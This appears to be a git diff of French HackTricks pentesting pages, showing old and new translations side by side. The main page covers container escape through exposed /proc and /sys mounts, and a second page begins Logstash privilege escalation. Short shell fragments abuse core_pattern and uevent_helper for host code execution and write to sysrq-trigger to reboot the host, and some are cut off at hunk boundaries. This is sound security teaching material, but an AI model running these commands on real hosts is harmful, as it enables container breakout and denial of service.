* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
(_**Ces informations proviennent de**_ [_**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**_](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts))
|
||||
|
||||
En raison du manque de support de l'espace de noms, l'exposition de `/proc` et `/sys` offre une surface d'attaque significative et une divulgation d'informations. De nombreux fichiers dans `procfs` et `sysfs` présentent un risque d'évasion de conteneur, de modification de l'hôte ou de divulgation d'informations de base qui pourraient faciliter d'autres attaques.
|
||||
|
||||
Pour abuser de ces techniques, il pourrait suffire de **mal configurer quelque chose comme `-v /proc:/host/proc`** car AppArmor ne protège pas `/host/proc` parce que **AppArmor est basé sur le chemin**
|
||||
|
||||
# procfs
|
||||
|
||||
## /proc/sys
|
||||
|
||||
`/proc/sys` permet généralement d'accéder à la modification des variables du noyau, souvent contrôlées via `sysctl(2)`.
|
||||
`/proc/sys` permet généralement d'accéder et de modifier les variables du noyau, souvent contrôlées par `sysctl(2)`.
|
||||
|
||||
### /proc/sys/kernel/core\_pattern
|
||||
|
||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) définit un programme qui est exécuté lors de la génération de fichiers de base (généralement un plantage de programme) et reçoit le fichier de base en entrée standard si le premier caractère de ce fichier est un symbole de tuyau `|`. Ce programme est exécuté par l'utilisateur root et permettra jusqu'à 128 octets d'arguments de ligne de commande. Cela permettrait une exécution de code trivial dans l'hôte de conteneur donné n'importe quel plantage et génération de fichier de base (qui peut être simplement jeté pendant une myriade d'actions malveillantes).
|
||||
[/proc/sys/kernel/core\_pattern](https://man7.org/linux/man-pages/man5/core.5.html) définit un programme qui est exécuté lors de la génération d'un fichier core (typiquement un crash de programme) et qui reçoit le fichier core en entrée standard si le premier caractère de ce fichier est un symbole de pipe `|`. Ce programme est exécuté par l'utilisateur root et permet jusqu'à 128 octets d'arguments de ligne de commande. Cela permettrait une exécution de code triviale au sein de l'hôte du conteneur étant donné n'importe quel crash et génération de fichier core (qui peut être simplement ignoré lors d'une myriade d'actions malveillantes).
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes #For testing
|
||||
cd /proc/sys/kernel
|
||||
|
@ -19,33 +36,33 @@ sleep 5 && ./crash &
|
|||
```
|
||||
### /proc/sys/kernel/modprobe
|
||||
|
||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contient le chemin d'accès au chargeur de module du noyau, qui est appelé lors du chargement d'un module du noyau tel que via la commande [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html). L'exécution de code peut être obtenue en effectuant toute action qui déclenchera le noyau pour tenter de charger un module du noyau (comme l'utilisation de l'API de cryptographie pour charger un module de cryptographie actuellement non chargé, ou l'utilisation de ifconfig pour charger un module de réseau pour un périphérique actuellement non utilisé).
|
||||
[/proc/sys/kernel/modprobe](https://man7.org/linux/man-pages/man5/proc.5.html) contient le chemin vers le chargeur de module du noyau, qui est appelé lors du chargement d'un module du noyau, comme via la commande [modprobe](https://man7.org/linux/man-pages/man8/modprobe.8.html). L'exécution de code peut être obtenue en effectuant une action qui déclenchera le noyau à tenter de charger un module du noyau (comme utiliser l'API crypto pour charger un module crypto actuellement non chargé, ou utiliser ifconfig pour charger un module réseau pour un dispositif actuellement non utilisé).
|
||||
```bash
|
||||
# Check if you can directly access modprobe
|
||||
ls -l `cat /proc/sys/kernel/modprobe`
|
||||
```
|
||||
### /proc/sys/vm/panic\_on\_oom
|
||||
### /proc/sys/vm/panic_on_oom
|
||||
|
||||
[/proc/sys/vm/panic\_on\_oom](https://man7.org/linux/man-pages/man5/proc.5.html) est un indicateur global qui détermine si le noyau doit paniquer lorsqu'une condition de mémoire insuffisante (OOM) est atteinte (plutôt que d'invoquer l'OOM killer). Cela relève davantage d'une attaque de déni de service (DoS) que d'une évasion de conteneur, mais cela expose néanmoins une capacité qui ne devrait être disponible que pour l'hôte.
|
||||
[/proc/sys/vm/panic_on_oom](https://man7.org/linux/man-pages/man5/proc.5.html) est un indicateur global qui détermine si le noyau va paniquer lorsqu'une condition de manque de mémoire (OOM) est atteinte (plutôt que d'invoquer le tueur OOM). Cela relève plus d'une attaque de déni de service (DoS) que d'une évasion de conteneur, mais cela expose néanmoins une capacité qui ne devrait être disponible que pour l'hôte.
|
||||
|
||||
### /proc/sys/fs
|
||||
|
||||
Le répertoire [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) contient un ensemble d'options et d'informations concernant divers aspects du système de fichiers, notamment les quotas, les poignées de fichiers, les inodes et les informations d'entrée de répertoire. L'accès en écriture à ce répertoire permettrait diverses attaques de déni de service contre l'hôte.
|
||||
Le répertoire [/proc/sys/fs](https://man7.org/linux/man-pages/man5/proc.5.html) contient un éventail d'options et d'informations concernant divers aspects du système de fichiers, y compris les quotas, les handles de fichiers, les inodes et les dentries. Un accès en écriture à ce répertoire permettrait diverses attaques de déni de service contre l'hôte.
|
||||
|
||||
### /proc/sys/fs/binfmt\_misc
|
||||
### /proc/sys/fs/binfmt_misc
|
||||
|
||||
[/proc/sys/fs/binfmt\_misc](https://man7.org/linux/man-pages/man5/proc.5.html) permet d'exécuter des formats binaires divers, ce qui signifie généralement que divers interprètes peuvent être enregistrés pour des formats binaires non natifs (tels que Java) en fonction de leur numéro magique. Vous pouvez faire exécuter un binaire par le noyau en l'enregistrant comme gestionnaire.\
|
||||
Vous pouvez trouver une exploitation dans [https://github.com/toffan/binfmt\_misc](https://github.com/toffan/binfmt\_misc) : _Poor man's rootkit, leverage_ [_binfmt\_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst) _option de_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt\_misc.txt#L62) _pour escalader les privilèges via n'importe quel binaire suid (et obtenir un shell root) si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture._
|
||||
[/proc/sys/fs/binfmt_misc](https://man7.org/linux/man-pages/man5/proc.5.html) permet d'exécuter des formats binaires divers, ce qui signifie généralement que divers **interprètes peuvent être enregistrés pour des formats binaires non natifs** (comme Java) en fonction de leur nombre magique. Vous pouvez faire exécuter un binaire en l'enregistrant comme gestionnaires.\
|
||||
Vous pouvez trouver une exploitation sur [https://github.com/toffan/binfmt_misc](https://github.com/toffan/binfmt_misc) : _Rootkit du pauvre, exploiter l'option_ [_credentials_](https://github.com/torvalds/linux/blame/3bdb5971ffc6e87362787c770353eb3e54b7af30/Documentation/binfmt_misc.txt#L62) _de_ [_binfmt_misc_](https://github.com/torvalds/linux/raw/master/Documentation/admin-guide/binfmt-misc.rst) _pour escalader les privilèges via n'importe quel binaire suid (et obtenir un shell root) si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture._
|
||||
|
||||
Pour une explication plus détaillée de cette technique, consultez [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
Pour une explication plus approfondie de cette technique, consultez [https://www.youtube.com/watch?v=WBC7hhgMvQQ](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
## /proc/config.gz
|
||||
|
||||
[/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) en fonction des paramètres `CONFIG_IKCONFIG_PROC`, cela expose une version compressée des options de configuration du noyau pour le noyau en cours d'exécution. Cela peut permettre à un conteneur compromis ou malveillant de découvrir et de cibler facilement des zones vulnérables activées dans le noyau.
|
||||
Selon les paramètres `CONFIG_IKCONFIG_PROC`, [/proc/config.gz](https://man7.org/linux/man-pages/man5/proc.5.html) expose une version compressée des options de configuration du noyau pour le noyau en cours d'exécution. Cela peut permettre à un conteneur compromis ou malveillant de découvrir facilement et de cibler les zones vulnérables activées dans le noyau.
|
||||
|
||||
## /proc/sysrq-trigger
|
||||
|
||||
`Sysrq` est un ancien mécanisme qui peut être invoqué via une combinaison spéciale de touches `SysRq`. Cela peut permettre un redémarrage immédiat du système, l'émission de `sync(2)`, le remontage de tous les systèmes de fichiers en lecture seule, l'invocation de débogueurs de noyau et d'autres opérations.
|
||||
`Sysrq` est un ancien mécanisme qui peut être invoqué via une combinaison spéciale de touches `SysRq`. Cela peut permettre un redémarrage immédiat du système, l'émission de `sync(2)`, le remontage de tous les systèmes de fichiers en lecture seule, l'invocation de débogueurs du noyau et d'autres opérations.
|
||||
|
||||
Si l'invité n'est pas correctement isolé, il peut déclencher les commandes [sysrq](https://www.kernel.org/doc/html/v4.11/admin-guide/sysrq.html) en écrivant des caractères dans le fichier `/proc/sysrq-trigger`.
|
||||
```bash
|
||||
|
@ -54,47 +71,47 @@ echo b > /proc/sysrq-trigger
|
|||
```
|
||||
## /proc/kmsg
|
||||
|
||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) peut exposer les messages du tampon circulaire du noyau généralement accessibles via `dmesg`. L'exposition de ces informations peut aider à exploiter le noyau, déclencher des fuites d'adresses du noyau (qui pourraient être utilisées pour aider à vaincre la randomisation de l'espace d'adressage du noyau (KASLR)) et être une source de divulgation d'informations générales sur le noyau, le matériel, les paquets bloqués et autres détails du système.
|
||||
[/proc/kmsg](https://man7.org/linux/man-pages/man5/proc.5.html) peut exposer les messages du tampon circulaire du noyau généralement accessibles via `dmesg`. L'exposition de ces informations peut aider dans le développement d'exploits du noyau, déclencher des fuites d'adresses du noyau (qui pourraient être utilisées pour aider à vaincre la Randomisation de la Disposition de l'Espace d'Adressage du noyau (KASLR)), et être une source de divulgation d'informations générales sur le noyau, le matériel, les paquets bloqués et d'autres détails du système.
|
||||
|
||||
## /proc/kallsyms
|
||||
|
||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contient une liste de symboles exportés du noyau et de leurs emplacements d'adresse pour les modules dynamiques et chargeables. Cela inclut également l'emplacement de l'image du noyau en mémoire physique, ce qui est utile pour le développement d'exploits du noyau. À partir de ces emplacements, l'adresse de base ou le décalage du noyau peut être localisé, ce qui peut être utilisé pour vaincre la randomisation de l'espace d'adressage du noyau (KASLR).
|
||||
[/proc/kallsyms](https://man7.org/linux/man-pages/man5/proc.5.html) contient une liste des symboles exportés par le noyau et leurs emplacements pour les modules dynamiques et chargeables. Cela inclut également l'emplacement de l'image du noyau en mémoire physique, ce qui est utile pour le développement d'exploits du noyau. À partir de ces emplacements, l'adresse de base ou le décalage du noyau peut être localisé, ce qui peut être utilisé pour surmonter la Randomisation de la Disposition de l'Espace d'Adressage du noyau (KASLR).
|
||||
|
||||
Pour les systèmes avec `kptr_restrict` défini sur `1` ou `2`, ce fichier existera mais ne fournira aucune information d'adresse (bien que l'ordre dans lequel les symboles sont répertoriés soit identique à l'ordre en mémoire).
|
||||
Pour les systèmes avec `kptr_restrict` réglé sur `1` ou `2`, ce fichier existera mais ne fournira aucune information d'adresse (bien que l'ordre dans lequel les symboles sont listés soit identique à l'ordre en mémoire).
|
||||
|
||||
## /proc/\[pid]/mem
|
||||
|
||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) expose des interfaces au périphérique de mémoire du noyau `/dev/mem`. Bien que l'espace de noms PID puisse protéger contre certaines attaques via ce vecteur `procfs`, cette zone a historiquement été vulnérable, puis considérée comme sûre et à nouveau trouvée [vulnérable](https://git.zx2c4.com/CVE-2012-0056/about/) pour l'escalade de privilèges.
|
||||
[/proc/\[pid\]/mem](https://man7.org/linux/man-pages/man5/proc.5.html) expose des interfaces au périphérique de mémoire du noyau `/dev/mem`. Bien que l'Espace de Noms PID puisse protéger contre certaines attaques via ce vecteur `procfs`, cette zone a été historiquement vulnérable, puis considérée comme sûre et à nouveau trouvée [vulnérable](https://git.zx2c4.com/CVE-2012-0056/about/) pour l'escalade de privilèges.
|
||||
|
||||
## /proc/kcore
|
||||
|
||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) représente la mémoire physique du système et est dans un format de noyau ELF (typiquement trouvé dans les fichiers de vidage de noyau). Il n'autorise pas l'écriture dans ladite mémoire. La capacité de lire ce fichier (restreint aux utilisateurs privilégiés) peut divulguer le contenu de la mémoire du système hôte et d'autres conteneurs.
|
||||
[/proc/kcore](https://man7.org/linux/man-pages/man5/proc.5.html) représente la mémoire physique du système et est au format ELF core (typiquement trouvé dans les fichiers de vidage de mémoire). Il ne permet pas d'écrire dans cette mémoire. La capacité de lire ce fichier (restreinte aux utilisateurs privilégiés) peut divulguer le contenu de la mémoire de l'hôte et d'autres conteneurs.
|
||||
|
||||
La taille de fichier signalée représente la quantité maximale de mémoire physiquement adressable pour l'architecture, et peut causer des problèmes lors de sa lecture (ou des plantages en fonction de la fragilité du logiciel).
|
||||
La grande taille de fichier signalée représente la quantité maximale de mémoire physiquement adressable pour l'architecture, et peut causer des problèmes lors de sa lecture (ou des plantages selon la fragilité du logiciel).
|
||||
|
||||
[Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
||||
[Dumping /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)
|
||||
|
||||
## /proc/kmem
|
||||
|
||||
`/proc/kmem` est une interface alternative pour [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche du périphérique cgroup), qui est un fichier de périphérique de caractères représentant la mémoire virtuelle du noyau. Il permet à la fois la lecture et l'écriture, permettant la modification directe de la mémoire du noyau.
|
||||
`/proc/kmem` est une interface alternative pour [/dev/kmem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche des périphériques cgroup), qui est un fichier de périphérique de caractère représentant la mémoire virtuelle du noyau. Il permet la lecture et l'écriture, autorisant la modification directe de la mémoire du noyau.
|
||||
|
||||
## /proc/mem
|
||||
|
||||
`/proc/mem` est une interface alternative pour [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche du périphérique cgroup), qui est un fichier de périphérique de caractères représentant la mémoire physique du système. Il permet à la fois la lecture et l'écriture, permettant la modification de toute la mémoire. (Il nécessite légèrement plus de finesse que `kmem`, car les adresses virtuelles doivent d'abord être résolues en adresses physiques).
|
||||
`/proc/mem` est une interface alternative pour [/dev/mem](https://man7.org/linux/man-pages/man4/kmem.4.html) (l'accès direct à celui-ci est bloqué par la liste blanche des périphériques cgroup), qui est un fichier de périphérique de caractère représentant la mémoire physique du système. Il permet la lecture et l'écriture, autorisant la modification de toute la mémoire. (Cela nécessite un peu plus de finesse que `kmem`, car les adresses virtuelles doivent d'abord être résolues en adresses physiques).
|
||||
|
||||
## /proc/sched\_debug
|
||||
|
||||
`/proc/sched_debug` est un fichier spécial qui renvoie des informations de planification de processus pour l'ensemble du système. Ces informations comprennent les noms de processus et les identifiants de processus de tous les espaces de noms en plus des identificateurs de cgroup de processus. Cela contourne efficacement les protections de l'espace de noms PID et peut être exploité dans des conteneurs non privilégiés également.
|
||||
`/proc/sched_debug` est un fichier spécial qui retourne des informations sur l'ordonnancement des processus pour l'ensemble du système. Ces informations incluent les noms des processus et les identifiants des processus de tous les espaces de noms en plus des identifiants de cgroup des processus. Cela contourne effectivement les protections de l'Espace de Noms PID et est lisible par d'autres/utilisateurs du monde, donc il peut être exploité dans des conteneurs non privilégiés également.
|
||||
|
||||
## /proc/\[pid]/mountinfo
|
||||
|
||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contient des informations sur les points de montage dans l'espace de noms de montage du processus. Il expose l'emplacement de `rootfs` ou de l'image du conteneur.
|
||||
[/proc/\[pid\]/mountinfo](https://man7.org/linux/man-pages/man5/proc.5.html) contient des informations sur les points de montage dans l'espace de noms de montage du processus. Il expose l'emplacement du `rootfs` du conteneur ou de l'image.
|
||||
|
||||
# sysfs
|
||||
|
||||
## /sys/kernel/uevent\_helper
|
||||
|
||||
Les `uevents` sont des événements déclenchés par le noyau lorsqu'un périphérique est ajouté ou supprimé. Notamment, le chemin pour le `uevent_helper` peut être modifié en écrivant dans `/sys/kernel/uevent_helper`. Ensuite, lorsqu'un `uevent` est déclenché (ce qui peut également être fait depuis l'espace utilisateur en écrivant dans des fichiers tels que `/sys/class/mem/null/uevent`), le `uevent_helper` malveillant est exécuté.
|
||||
Les `uevents` sont des événements déclenchés par le noyau lorsqu'un périphérique est ajouté ou retiré. Notamment, le chemin pour le `uevent_helper` peut être modifié en écrivant dans `/sys/kernel/uevent_helper`. Ensuite, lorsqu'un `uevent` est déclenché (ce qui peut également être fait depuis l'espace utilisateur en écrivant dans des fichiers tels que `/sys/class/mem/null/uevent`), le `uevent_helper` malveillant est exécuté.
|
||||
```bash
|
||||
# Creates a payload
|
||||
cat "#!/bin/sh" > /evil-helper
|
||||
|
@ -115,46 +132,44 @@ cat /output
|
|||
```
|
||||
## /sys/class/thermal
|
||||
|
||||
Accès à ACPI et divers paramètres matériels pour le contrôle de la température, généralement trouvés dans les ordinateurs portables ou les cartes mères de jeux. Cela peut permettre des attaques DoS contre l'hôte du conteneur, ce qui peut même entraîner des dommages physiques.
|
||||
Accès à l'ACPI et à divers paramètres matériels pour le contrôle de la température, généralement trouvés dans les ordinateurs portables ou les cartes mères de jeux. Cela peut permettre des attaques par déni de service contre l'hôte du conteneur, pouvant même entraîner des dommages physiques.
|
||||
|
||||
## /sys/kernel/vmcoreinfo
|
||||
|
||||
Ce fichier peut divulguer des adresses de noyau qui pourraient être utilisées pour vaincre KASLR.
|
||||
Ce fichier peut divulguer des adresses du noyau qui pourraient être utilisées pour défaire le KASLR.
|
||||
|
||||
## /sys/kernel/security
|
||||
|
||||
Dans `/sys/kernel/security` est montée l'interface `securityfs`, qui permet la configuration des modules de sécurité Linux. Cela permet la configuration des politiques [AppArmor](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), et donc l'accès à cela peut permettre à un conteneur de désactiver son système MAC.
|
||||
Dans `/sys/kernel/security` est montée l'interface `securityfs`, qui permet la configuration des modules de sécurité Linux. Cela permet la configuration des [politiques AppArmor](https://gitlab.com/apparmor/apparmor/-/wikis/Kernel\_interfaces#securityfs-syskernelsecurityapparmor), et donc l'accès à cela peut permettre à un conteneur de désactiver son système MAC.
|
||||
|
||||
## /sys/firmware/efi/vars
|
||||
|
||||
`/sys/firmware/efi/vars` expose des interfaces pour interagir avec les variables EFI dans la NVRAM. Bien que cela ne soit pas généralement pertinent pour la plupart des serveurs, EFI devient de plus en plus populaire. Des faiblesses de permission ont même conduit à certains ordinateurs portables bloqués.
|
||||
`/sys/firmware/efi/vars` expose des interfaces pour interagir avec les variables EFI dans la NVRAM. Bien que cela ne soit généralement pas pertinent pour la plupart des serveurs, l'EFI devient de plus en plus populaire. Des faiblesses de permission ont même conduit à des ordinateurs portables briqués.
|
||||
|
||||
## /sys/firmware/efi/efivars
|
||||
|
||||
`/sys/firmware/efi/efivars` fournit une interface pour écrire dans la NVRAM utilisée pour les arguments de démarrage UEFI. Les modifier peut rendre la machine hôte incapable de démarrer.
|
||||
`/sys/firmware/efi/efivars` fournit une interface pour écrire dans la NVRAM utilisée pour les arguments de démarrage UEFI. Les modifier peut rendre la machine hôte inamorçable.
|
||||
|
||||
## /sys/kernel/debug
|
||||
|
||||
`debugfs` fournit une interface "sans règles" par laquelle le noyau (ou les modules de noyau) peuvent créer des interfaces de débogage accessibles à l'espace utilisateur. Il a eu un certain nombre de problèmes de sécurité dans le passé, et les directives "sans règles" derrière le système de fichiers ont souvent été en conflit avec les contraintes de sécurité.
|
||||
`debugfs` fournit une interface "sans règles" par laquelle le noyau (ou les modules du noyau) peut créer des interfaces de débogage accessibles à l'espace utilisateur. Il a eu un certain nombre de problèmes de sécurité dans le passé, et les directives "sans règles" derrière le système de fichiers ont souvent été en conflit avec les contraintes de sécurité.
|
||||
|
||||
# Références
|
||||
|
||||
* [Comprendre et renforcer les conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
* [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abuser des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Logstash est utilisé pour collecter, transformer et émettre des journaux. Cela est réalisé en utilisant des **pipelines**, qui contiennent des modules d'entrée, de filtre et de sortie. Le service devient intéressant lorsqu'on a compromis une machine qui exécute Logstash en tant que service.
|
||||
Logstash est utilisé pour collecter, transformer et sortir les logs. Cela est réalisé en utilisant des **pipelines**, qui contiennent des modules d'entrée, de filtre et de sortie. Le service devient intéressant lorsqu'on a compromis une machine qui exécute Logstash en tant que service.
|
||||
|
||||
## Pipelines
|
||||
|
||||
|
@ -28,48 +26,48 @@ Le fichier de configuration de pipeline **/etc/logstash/pipelines.yml** spécifi
|
|||
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
|
||||
|
||||
- pipeline.id: main
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
path.config: "/etc/logstash/conf.d/*.conf"
|
||||
- pipeline.id: example
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
Ici, vous pouvez trouver les chemins d'accès aux fichiers **.conf**, qui contiennent les pipelines configurés. Si le module de sortie **Elasticsearch** est utilisé, les **pipelines** contiennent probablement des **informations d'identification** valides pour une instance Elasticsearch. Ces informations d'identification ont souvent plus de privilèges, car Logstash doit écrire des données dans Elasticsearch. Si des caractères génériques sont utilisés, Logstash essaie d'exécuter tous les pipelines situés dans ce dossier correspondant au caractère générique.
|
||||
Dans cette section, vous trouverez les chemins vers les fichiers **.conf**, qui contiennent les pipelines configurés. Si le **module de sortie Elasticsearch** est utilisé, les **pipelines** sont susceptibles de **contenir** des **identifiants** valides pour une instance Elasticsearch. Ces identifiants ont souvent plus de privilèges, car Logstash doit écrire des données dans Elasticsearch. Si des caractères génériques sont utilisés, Logstash essaie d'exécuter tous les pipelines situés dans ce dossier correspondant au caractère générique.
|
||||
|
||||
## Privilège d'escalade avec des pipelines modifiables
|
||||
## Élévation de privilèges avec des pipelines modifiables
|
||||
|
||||
Avant d'essayer d'élever vos propres privilèges, vous devez vérifier quel utilisateur exécute le service logstash, car ce sera l'utilisateur que vous posséderez par la suite. Par défaut, le service logstash s'exécute avec les privilèges de l'utilisateur **logstash**.
|
||||
